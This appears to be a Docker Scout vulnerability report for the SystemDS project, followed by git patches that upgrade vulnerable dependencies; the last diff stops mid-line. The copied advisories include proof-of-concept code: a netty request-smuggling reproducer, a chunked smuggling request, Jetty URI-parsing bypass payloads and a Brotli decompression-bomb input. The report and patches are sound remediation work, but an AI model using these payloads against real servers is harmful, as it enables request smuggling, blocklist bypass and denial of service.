critical: 0 high: 0 medium: 1 low: 1 io.netty/netty-codec-http 4.1.124.Final (maven) + +pkg:maven/io.netty/netty-codec-http@4.1.124.Final
+medium 6.5: CVE--2025--67735 Improper Neutralization of CRLF Sequences ('CRLF Injection') + + + + + + + + +
Affected range<4.1.129.Final
Fixed version4.1.129.Final
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
EPSS Score0.054%
EPSS Percentile17th percentile
+ +
Description +
+ +### Summary + +The `io.netty.handler.codec.http.HttpRequestEncoder` CRLF injection with the request uri when constructing a request. This leads to request smuggling when `HttpRequestEncoder` is used without proper sanitization of the uri. + +### Details + +The `HttpRequestEncoder` simply UTF8 encodes the `uri` without sanitization (`buf.writeByte(SP).writeCharSequence(uriCharSequence, CharsetUtil.UTF_8);`) + +The default implementation of HTTP headers guards against such possibility already with a validator making it impossible with headers. + +### PoC + +Simple reproducer: + +```java +public static void main(String[] args) { + + EmbeddedChannel client = new EmbeddedChannel(); + client.pipeline().addLast(new HttpClientCodec()); + + EmbeddedChannel server = new EmbeddedChannel(); + server.pipeline().addLast(new HttpServerCodec()); + server.pipeline().addLast(new ChannelInboundHandlerAdapter() { + @Override + public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception { + System.out.println("Processing msg " + msg); + } + }); + + DefaultHttpRequest request = new DefaultHttpRequest( + HttpVersion.HTTP_1_1, + HttpMethod.GET, + "/s1 HTTP/1.1\r\n" + + "\r\n" + + "POST /s2 HTTP/1.1\r\n" + + "content-length: 11\r\n\r\n" + + "Hello World" + + "GET /s1" + ); + client.writeAndFlush(request); + ByteBuf tmp; + while ((tmp = client.readOutbound()) != null) { + server.writeInbound(tmp); + } +} +``` + +### Impact + +Any application / framework using `HttpRequestEncoder` can be subject to be abused to perform request smuggling using CRLF injection. + +
+
+ +low : CVE--2025--58056 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + +
Affected range<4.1.125.Final
Fixed version4.1.125.Final
EPSS Score0.027%
EPSS Percentile7th percentile
+ +
Description +
+ +## Summary +A flaw in netty's parsing of chunk extensions in HTTP/1.1 messages with chunked encoding can lead to request smuggling issues with some reverse proxies. + +## Details +When encountering a newline character (LF) while parsing a chunk extension, netty interprets the newline as the end of the chunk-size line regardless of whether a preceding carriage return (CR) was found. This is in violation of the HTTP 1.1 standard which specifies that the chunk extension is terminated by a CRLF sequence (see the [RFC](https://datatracker.ietf.org/doc/html/rfc9112#name-chunked-transfer-coding)). + +This is by itself harmless, but consider an intermediary with a similar parsing flaw: while parsing a chunk extension, the intermediary interprets an LF without a preceding CR as simply part of the chunk extension (this is also in violation of the RFC, because whitespace characters are not allowed in chunk extensions). We can use this discrepancy to construct an HTTP request that the intermediary will interpret as one request but netty will interpret as two (all lines ending with CRLF, notice the LFs in the chunk extension): + +``` +POST /one HTTP/1.1 +Host: localhost:8080 +Transfer-Encoding: chunked + +48;\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n0 + +POST /two HTTP/1.1 +Host: localhost:8080 +Transfer-Encoding: chunked + +0 + +``` + +The intermediary will interpret this as a single request. Once forwarded to netty, netty will interpret it as two separate requests. This is a problem, because attackers can then the intermediary, as well as perform standard request smuggling attacks against other live users (see [this Portswigger article](https://portswigger.net/web-security/request-smuggling/exploiting)). + +## Impact +This is a request smuggling issue which can be exploited for bypassing front-end access control rules as well as corrupting the responses served to other live clients. + +The impact is high, but it only affects setups that use a front-end which: +1. Interprets LF characters (without preceding CR) in chunk extensions as part of the chunk extension. +2. Forwards chunk extensions without normalization. + +## Disclosure + + - This vulnerability was disclosed on June 18th, 2025 here: https://w4ke.info/2025/06/18/funky-chunks.html + +## Discussion +Discussion for this vulnerability can be found here: + - https://github.com/netty/netty/issues/15522 + - https://github.com/JLLeitschuh/unCVEed/issues/1 + +## Credit + + - Credit to @JeppW for uncovering this vulnerability. + - Credit to @JLLeitschuh at [Socket](https://socket.dev/) for coordinating the vulnerability disclosure. + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.apache.commons/commons-lang3 3.12.0 (maven) + +pkg:maven/org.apache.commons/commons-lang3@3.12.0
+medium 6.5: CVE--2025--48924 Uncontrolled Recursion + + + + + + + + +
Affected range>=3.0
<3.18.0
Fixed version3.18.0
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
EPSS Score0.017%
EPSS Percentile3rd percentile
+ +
Description +
+ +Uncontrolled Recursion vulnerability in Apache Commons Lang. + +This issue affects Apache Commons Lang: Starting with commons-lang:commons-lang 2.0 to 2.6, and, from org.apache.commons:commons-lang3 3.0 before 3.18.0. + +The methods ClassUtils.getClass(...) can throw StackOverflowError on very long inputs. Because an Error is usually not handled by applications and libraries, a StackOverflowError could cause an application to stop. + +Users are recommended to upgrade to version 3.18.0, which fixes the issue. + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.eclipse.jetty/jetty-http 9.4.52.v20230823 (maven) + +pkg:maven/org.eclipse.jetty/jetty-http@9.4.52.v20230823
+medium 6.3: CVE--2024--6763 Improper Validation of Syntactic Correctness of Input + + + + + + + + +
Affected range>=7.0.0
<=12.0.11
Fixed version12.0.12
CVSS Score6.3
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
EPSS Score1.022%
EPSS Percentile77th percentile
+ +
Description +
+ +## Summary + +Eclipse Jetty is a lightweight, highly scalable, Java-based web server and Servlet engine . It includes a utility class, `HttpURI`, for URI/URL parsing. + +The `HttpURI` class does insufficient validation on the authority segment of a URI. However the behaviour of `HttpURI` differs from the common browsers in how it handles a URI that would be considered invalid if fully validated against the RRC. Specifically `HttpURI` and the browser may differ on the value of the host extracted from an invalid URI and thus a combination of Jetty and a vulnerable browser may be vulnerable to a open redirect attack or to a SSRF attack if the URI is used after passing validation checks. + +## Details + +### Affected components + +The vulnerable component is the `HttpURI` class when used as a utility class in an application. The Jetty usage of the class is not vulnerable. + +### Attack overview + +The `HttpURI` class does not well validate the authority section of a URI. When presented with an illegal authority that may contain user info (eg username:password#@hostname:port), then the parsing of the URI is not failed. Moreover, the interpretation of what part of the authority is the host name differs from a common browser in that they also do not fail, but they select a different host name from the illegal URI. + +### Attack scenario + +A typical attack scenario is illustrated in the diagram below. The Validator checks whether the attacker-supplied URL is on the blocklist. If not, the URI is passed to the Requester for redirection. The Requester is responsible for sending requests to the hostname specified by the URI. + +This attack occurs when the Validator is the `org.eclipse.jetty.http.HttpURI` class and the Requester is the `Browser` (include chrome, firefox and Safari). An attacker can send a malformed URI to the Validator (e.g., `http://browser.check%23%40vulndetector.com/` ). After validation, the Validator finds that the hostname is not on the blocklist. However, the Requester can still send requests to the domain with the hostname `vulndetector.com`. + +## PoC + +payloads: + +``` +http://browser.check &@vulndetector.com/ +http://browser.check #@vulndetector.com/ +http://browser.check?@vulndetector.com/ +http://browser.check#@vulndetector.com/ +http://vulndetector.com\\/ +``` + +The problem of 302 redirect parsing in HTML tag scenarios. Below is a poc example. After clicking the button, the browser will open "browser.check", and jetty will parse this URL as "vulndetector.com". + +``` + +``` +A comparison of the parsing differences between Jetty and chrome is shown in the table below (note that neither should accept the URI as valid). + +| Invalid URI | Jetty | Chrome | +| ---------------------------------------------- | ---------------- | ------------- | +| http://browser.check &@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check #@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check?@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check#@vulndetector.com/ | vulndetector.com | browser.check | + +The problem of 302 redirect parsing in HTTP 302 Location + +| Input | Jetty | Chrome | +| ------------------------ | -------------- | ------------- | +| http://browser.check%5c/ | browser.check\ | browser.check | + +It is noteworthy that Spring Web also faced similar security vulnerabilities, being affected by the aforementioned four types of payloads. These issues have since been resolved and have been assigned three CVE numbers [3-5]. + +## Impact + +The impact of this vulnerability is limited to developers that use the Jetty HttpURI directly. Example: your project implemented a blocklist to block on some hosts based on HttpURI's handling of authority section. The vulnerability will help attackers bypass the protections that developers have set up for hosts. The vulnerability will lead to **SSRF**[1] and **URL Redirection**[2] vulnerabilities in several cases. + +## Mitigation + +The attacks outlined above rely on decoded user data being passed to the `HttpURI` class. Application should not pass decoded user data as an encoded URI to any URI class/method, including `HttpURI`. Such applications are likely to be vulnerable in other ways. +The immediate solution is to upgrade to a version of the class that will fully validate the characters of the URI authority. Ultimately, Jetty will deprecate and remove support for user info in the authority per [RFC9110 Section 4.2.4](https://datatracker.ietf.org/doc/html/rfc9110#section-4.2.4). + +Note that the Chrome (and other browsers) parse the invalid user info section improperly as well (due to flawed WhatWG URL parsing rules that do not apply outside of a Web Browser). + +## Reference + +[1] https://cwe.mitre.org/data/definitions/918.html +[2] https://cwe.mitre.org/data/definitions/601.html + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.eclipse.jetty/jetty-servlets 9.4.52.v20230823 (maven) + +pkg:maven/org.eclipse.jetty/jetty-servlets@9.4.52.v20230823
+medium 5.3: CVE--2024--9823 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=9.0.0
<9.4.54
Fixed version9.4.54
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
EPSS Score0.591%
EPSS Percentile69th percentile
+ +
Description +
+ +Description +There exists a security vulnerability in Jetty's DosFilter which can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack on the server using DosFilter. By repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the server's memory finally. + + +Vulnerability details +The Jetty DoSFilter (Denial of Service Filter) is a security filter designed to protect web applications against certain types of Denial of Service (DoS) attacks and other abusive behavior. It helps to mitigate excessive resource consumption by limiting the rate at which clients can make requests to the server. The DoSFilter monitors and tracks client request patterns, including request rates, and can take actions such as blocking or delaying requests from clients that exceed predefined thresholds. The internal tracking of requests in DoSFilter is the source of this OutOfMemory condition. + + +Impact +Users of the DoSFilter may be subject to DoS attacks that will ultimately exhaust the memory of the server if they have not configured session passivation or an aggressive session inactivation timeout. + + +Patches +The DoSFilter has been patched in all active releases to no longer support the session tracking mode, even if configured. + + +Patched releases: + + * 9.4.54 + * 10.0.18 + * 11.0.18 + * 12.0.3 + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 zlib 1.3.1-r1 (apk) + +pkg:apk/alpine/zlib@1.3.1-r1?os_name=alpine&os_version=3.20
+medium : CVE--2026--22184 + + + + + + +
Affected range<=1.3.1-r1
Fixed versionNot Fixed
EPSS Score0.038%
EPSS Percentile11th percentile
+ +
Description +
+ + + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.apache.spark/spark-network-common_2.12 3.5.0 (maven) + +pkg:maven/org.apache.spark/spark-network-common_2.12@3.5.0
+medium 4.6: CVE--2025--55039 Inadequate Encryption Strength + + + + + + + + +
Affected range>=3.5.0
<3.5.2
Fixed version3.5.2
CVSS Score4.6
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:U
EPSS Score0.058%
EPSS Percentile18th percentile
+ +
Description +
+ +This issue affects Apache Spark versions before 3.4.4, 3.5.2 and 4.0.0. + +Apache Spark versions before 4.0.0, 3.5.2 and 3.4.4 use an insecure default network encryption cipher for RPC communication between nodes. + +When spark.network.crypto.enabled is set to true (it is set to false by default), but spark.network.crypto.cipher is not explicitly configured, Spark defaults to AES in CTR mode (AES/CTR/NoPadding), which provides encryption without authentication. + +This vulnerability allows a man-in-the-middle attacker to modify encrypted RPC traffic undetected by flipping bits in ciphertext, potentially compromising heartbeat messages or application data and affecting the integrity of Spark workflows. + +To mitigate this issue, users should either configure spark.network.crypto.cipher to AES/GCM/NoPadding to enable authenticated encryption or enable SSL encryption by setting spark.ssl.enabled to true, which provides stronger transport security. + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 io.netty/netty-codec 4.1.124.Final (maven) + +pkg:maven/io.netty/netty-codec@4.1.124.Final
+medium 6.9: CVE--2025--58057 Improper Handling of Highly Compressed Data (Data Amplification) + + + + + + + + +
Affected range<4.1.125.Final
Fixed version4.1.125.Final
CVSS Score6.9
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
EPSS Score0.070%
EPSS Percentile22nd percentile
+ +
Description +
+ +### Summary + +With specially crafted input, `BrotliDecoder` and some other decompressing decoders will allocate a large number of reachable byte buffers, which can lead to denial of service. + +### Details + +`BrotliDecoder.decompress` has no limit in how often it calls `pull`, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is basically a zip bomb. + +Tested on 4.1.118, but there were no changes to the decoder since. + +### PoC + +Run this test case with `-Xmx1G`: + +```java +import io.netty.buffer.Unpooled; +import io.netty.channel.embedded.EmbeddedChannel; + +import java.util.Base64; + +public class T { + public static void main(String[] args) { + EmbeddedChannel channel = new EmbeddedChannel(new BrotliDecoder()); + channel.writeInbound(Unpooled.wrappedBuffer(Base64.getDecoder().decode("aPpxD1tETigSAGj6cQ8vRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROMBIAEgIaHwBETlQQVFcXlgA="))); + } +} +``` + +Error: + +``` +Exception in thread "main" java.lang.OutOfMemoryError: Cannot reserve 4194304 bytes of direct buffer memory (allocated: 1069580289, limit: 1073741824) + at java.base/java.nio.Bits.reserveMemory(Bits.java:178) + at java.base/java.nio.DirectByteBuffer.(DirectByteBuffer.java:121) + at java.base/java.nio.ByteBuffer.allocateDirect(ByteBuffer.java:332) + at io.netty.buffer.PoolArena$DirectArena.allocateDirect(PoolArena.java:718) + at io.netty.buffer.PoolArena$DirectArena.newChunk(PoolArena.java:693) + at io.netty.buffer.PoolArena.allocateNormal(PoolArena.java:213) + at io.netty.buffer.PoolArena.tcacheAllocateNormal(PoolArena.java:195) + at io.netty.buffer.PoolArena.allocate(PoolArena.java:137) + at io.netty.buffer.PoolArena.allocate(PoolArena.java:127) + at io.netty.buffer.PooledByteBufAllocator.newDirectBuffer(PooledByteBufAllocator.java:403) + at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:188) + at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:179) + at io.netty.buffer.AbstractByteBufAllocator.buffer(AbstractByteBufAllocator.java:116) + at io.netty.handler.codec.compression.BrotliDecoder.pull(BrotliDecoder.java:70) + at io.netty.handler.codec.compression.BrotliDecoder.decompress(BrotliDecoder.java:101) + at io.netty.handler.codec.compression.BrotliDecoder.decode(BrotliDecoder.java:137) + at io.netty.handler.codec.ByteToMessageDecoder.decodeRemovalReentryProtection(ByteToMessageDecoder.java:530) + at io.netty.handler.codec.ByteToMessageDecoder.callDecode(ByteToMessageDecoder.java:469) + at io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:290) + at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:444) + at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420) + at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:412) + at io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1357) + at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:440) + at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420) + at io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:868) + at io.netty.channel.embedded.EmbeddedChannel.writeInbound(EmbeddedChannel.java:348) + at io.netty.handler.codec.compression.T.main(T.java:11) +``` + +### Impact + +DoS for anyone using `BrotliDecoder` on untrusted input. + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.apache.logging.log4j/log4j-core 2.22.1 (maven) + +pkg:maven/org.apache.logging.log4j/log4j-core@2.22.1
+medium 6.3: CVE--2025--68161 Improper Validation of Certificate with Host Mismatch + + + + + + + + +
Affected range>=2.0-beta9
<2.25.3
Fixed version2.25.3
CVSS Score6.3
CVSS VectorCVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:L/SA:N
EPSS Score0.244%
EPSS Percentile47th percentile
+ +
Description +
+ +The Socket Appender in Apache Log4j Core versions 2.0-beta9 through 2.25.2 does not perform TLS hostname verification of the peer certificate, even when the [verifyHostName](https://logging.apache.org/log4j/2.x/manual/appenders/network.html#SslConfiguration-attr-verifyHostName) configuration attribute or the [log4j2.sslVerifyHostName](https://logging.apache.org/log4j/2.x/manual/systemproperties.html#log4j2.sslVerifyHostName) system property is set to true. + +This issue may allow a man-in-the-middle attacker to intercept or redirect log traffic under the following conditions: + + * The attacker is able to intercept or redirect network traffic between the client and the log receiver. + * The attacker can present a server certificate issued by a certification authority trusted by the Socket Appender’s configured trust store (or by the default Java trust store if no custom trust store is configured). + + +Users are advised to upgrade to Apache Log4j Core version 2.25.3, which addresses this issue. + +As an alternative mitigation, the Socket Appender may be configured to use a private or restricted trust root to limit the set of trusted certificates. + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.eclipse.jetty/jetty-http 9.4.57.v20241219 (maven) + +pkg:maven/org.eclipse.jetty/jetty-http@9.4.57.v20241219
+medium 6.3: CVE--2024--6763 Improper Validation of Syntactic Correctness of Input + + + + + + + + +
Affected range>=7.0.0
<=12.0.11
Fixed version12.0.12
CVSS Score6.3
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
EPSS Score1.022%
EPSS Percentile77th percentile
+ +
Description +
+ +## Summary + +Eclipse Jetty is a lightweight, highly scalable, Java-based web server and Servlet engine . It includes a utility class, `HttpURI`, for URI/URL parsing. + +The `HttpURI` class does insufficient validation on the authority segment of a URI. However the behaviour of `HttpURI` differs from the common browsers in how it handles a URI that would be considered invalid if fully validated against the RRC. Specifically `HttpURI` and the browser may differ on the value of the host extracted from an invalid URI and thus a combination of Jetty and a vulnerable browser may be vulnerable to a open redirect attack or to a SSRF attack if the URI is used after passing validation checks. + +## Details + +### Affected components + +The vulnerable component is the `HttpURI` class when used as a utility class in an application. The Jetty usage of the class is not vulnerable. + +### Attack overview + +The `HttpURI` class does not well validate the authority section of a URI. When presented with an illegal authority that may contain user info (eg username:password#@hostname:port), then the parsing of the URI is not failed. Moreover, the interpretation of what part of the authority is the host name differs from a common browser in that they also do not fail, but they select a different host name from the illegal URI. + +### Attack scenario + +A typical attack scenario is illustrated in the diagram below. The Validator checks whether the attacker-supplied URL is on the blocklist. If not, the URI is passed to the Requester for redirection. The Requester is responsible for sending requests to the hostname specified by the URI. + +This attack occurs when the Validator is the `org.eclipse.jetty.http.HttpURI` class and the Requester is the `Browser` (include chrome, firefox and Safari). An attacker can send a malformed URI to the Validator (e.g., `http://browser.check%23%40vulndetector.com/` ). After validation, the Validator finds that the hostname is not on the blocklist. However, the Requester can still send requests to the domain with the hostname `vulndetector.com`. + +## PoC + +payloads: + +``` +http://browser.check &@vulndetector.com/ +http://browser.check #@vulndetector.com/ +http://browser.check?@vulndetector.com/ +http://browser.check#@vulndetector.com/ +http://vulndetector.com\\/ +``` + +The problem of 302 redirect parsing in HTML tag scenarios. Below is a poc example. After clicking the button, the browser will open "browser.check", and jetty will parse this URL as "vulndetector.com". + +``` + +``` +A comparison of the parsing differences between Jetty and chrome is shown in the table below (note that neither should accept the URI as valid). + +| Invalid URI | Jetty | Chrome | +| ---------------------------------------------- | ---------------- | ------------- | +| http://browser.check &@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check #@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check?@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check#@vulndetector.com/ | vulndetector.com | browser.check | + +The problem of 302 redirect parsing in HTTP 302 Location + +| Input | Jetty | Chrome | +| ------------------------ | -------------- | ------------- | +| http://browser.check%5c/ | browser.check\ | browser.check | + +It is noteworthy that Spring Web also faced similar security vulnerabilities, being affected by the aforementioned four types of payloads. These issues have since been resolved and have been assigned three CVE numbers [3-5]. + +## Impact + +The impact of this vulnerability is limited to developers that use the Jetty HttpURI directly. Example: your project implemented a blocklist to block on some hosts based on HttpURI's handling of authority section. The vulnerability will help attackers bypass the protections that developers have set up for hosts. The vulnerability will lead to **SSRF**[1] and **URL Redirection**[2] vulnerabilities in several cases. + +## Mitigation + +The attacks outlined above rely on decoded user data being passed to the `HttpURI` class. Application should not pass decoded user data as an encoded URI to any URI class/method, including `HttpURI`. Such applications are likely to be vulnerable in other ways. +The immediate solution is to upgrade to a version of the class that will fully validate the characters of the URI authority. Ultimately, Jetty will deprecate and remove support for user info in the authority per [RFC9110 Section 4.2.4](https://datatracker.ietf.org/doc/html/rfc9110#section-4.2.4). + +Note that the Chrome (and other browsers) parse the invalid user info section improperly as well (due to flawed WhatWG URL parsing rules that do not apply outside of a Web Browser). + +## Reference + +[1] https://cwe.mitre.org/data/definitions/918.html +[2] https://cwe.mitre.org/data/definitions/601.html + +
+
+
+
critical: 0 high: 0 medium: 0 low: 1 org.apache.hadoop/hadoop-common 3.3.6 (maven) + +pkg:maven/org.apache.hadoop/hadoop-common@3.3.6
+low 2.0: CVE--2024--23454 Improper Privilege Management + + + + + + + + +
Affected range<3.4.0
Fixed version3.4.0
CVSS Score2
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
EPSS Score0.038%
EPSS Percentile11th percentile
+ +
Description +
+ +Apache Hadoop’s `RunJar.run()` does not set permissions for temporary directory by default. If sensitive data will be present in this file, all the other local users may be able to view the content. This is because, on unix-like systems, the system temporary directory is shared between all local users. As such, files written in this directory, without setting the correct posix permissions explicitly, may be viewable by all other local users. + +
+
+
+
critical: 0 high: 0 medium: 0 low: 0 unspecified: 1lz4 1.9.4-r5 (apk) + +pkg:apk/alpine/lz4@1.9.4-r5?os_name=alpine&os_version=3.20
+unspecified : CVE--2025--62813 + + + + + + +
Affected range<=1.9.4-r5
Fixed versionNot Fixed
EPSS Score0.018%
EPSS Percentile3rd percentile
+ +
Description +
+ + + +
+
+
+ diff --git a/docker/systemds-3878_summary-of-changes.md b/docker/systemds-3878_summary-of-changes.md index 5e227defea0..848b2f18cca 100644 --- a/docker/systemds-3878_summary-of-changes.md +++ b/docker/systemds-3878_summary-of-changes.md @@ -108,6 +108,20 @@ Zookeeper `3.9.4` will be used to solve all zookeeper-related vulnerabilities. ` - building the project works \ `mvn clean package -P distribution` +### `io.netty/netty@3.10.6.Final` + +This is a transitive dependency from `hadoop-hdfs 3.3.6`. Version `3.4.2` does not use the `netty` dependency anymore. + +The only change necessary in the code is in the import of the netty package. What was +```java +import org.jboss.netty.handler.codec.compression.CompressionException; +``` +became +```java +import io.netty.handler.codec.compression.CompressionException; +``` + + ### toolbox - Docker scout: diff --git a/pom.xml b/pom.xml index 73a53bc7c8c..31d6cac4de5 100644 --- a/pom.xml +++ b/pom.xml @@ -40,6 +40,8 @@ 3.3.6 + + 3.4.2 4.8 3.25.5 3.5.0 @@ -1475,7 +1477,7 @@ org.apache.hadoop hadoop-hdfs - ${hadoop.version} + ${hadoop-hdfs.version} javax.servlet diff --git a/src/main/java/org/apache/sysds/runtime/compress/colgroup/ColGroupDDC.java b/src/main/java/org/apache/sysds/runtime/compress/colgroup/ColGroupDDC.java index fc82c58e16b..bbcefd134c1 100644 --- a/src/main/java/org/apache/sysds/runtime/compress/colgroup/ColGroupDDC.java +++ b/src/main/java/org/apache/sysds/runtime/compress/colgroup/ColGroupDDC.java @@ -65,7 +65,9 @@ import org.apache.sysds.runtime.matrix.operators.RightScalarOperator; import org.apache.sysds.runtime.matrix.operators.ScalarOperator; import org.apache.sysds.runtime.matrix.operators.UnaryOperator; -import org.jboss.netty.handler.codec.compression.CompressionException; +// import org.jboss.netty.handler.codec.compression.CompressionException; +import io.netty.handler.codec.compression.CompressionException; +// CVE-2019-20444: org.jboss.netty replaced by io.netty in hadoop-hdfs 3.4.2 /** * Class to encapsulate information about a column group that is encoded with dense dictionary encoding (DDC). From aaaac24fe42a1b93b5fdedd0f3dea26a7c902435 Mon Sep 17 00:00:00 2001 From: anabel-ksp Date: Sun, 25 Jan 2026 22:55:22 +0100 Subject: [PATCH 17/31] [MINOR][SYSTEMDS-3878] Fix Alpine APK CVEs in Docker image This patch fixes security vulnerabilities in the Alpine Linux base image by upgrading vulnerable system packages in docker/sysds.Dockerfile. Fixed CVEs (openssl): - CVE-2025-9230 (High): upgraded to 3.3.5-r0 - CVE-2025-9231 (Medium): upgraded to 3.3.5-r0 - CVE-2025-9232 (Medium): upgraded to 3.3.5-r0 Fixed CVEs (busybox): - CVE-2025-46394: upgraded from 1.36.1-r29 to 1.36.1-r31 - CVE-2024-58251: upgraded from 1.36.1-r29 to 1.36.1-r31 Unfixable CVEs (no upstream patch available): - CVE-2025-60876 (busybox): Not Fixed by Alpine - CVE-2026-22184 (zlib): Not Fixed by Alpine - CVE-2025-62813 (lz4): Not Fixed by Alpine Also added exclusions in pom.xml for guava, jackson, and jetty transitive dependencies from Spark/Hadoop to use managed versions. --- .../alpine-apk-cves/sysds_output17.md | 627 ++++++++++++++++++ .../alpine-apk-cves/sysds_output18.md | 571 ++++++++++++++++ docker/sysds.Dockerfile | 4 +- pom.xml | 162 +++++ 4 files changed, 1363 insertions(+), 1 deletion(-) create mode 100644 docker/scout_results/alpine-apk-cves/sysds_output17.md create mode 100644 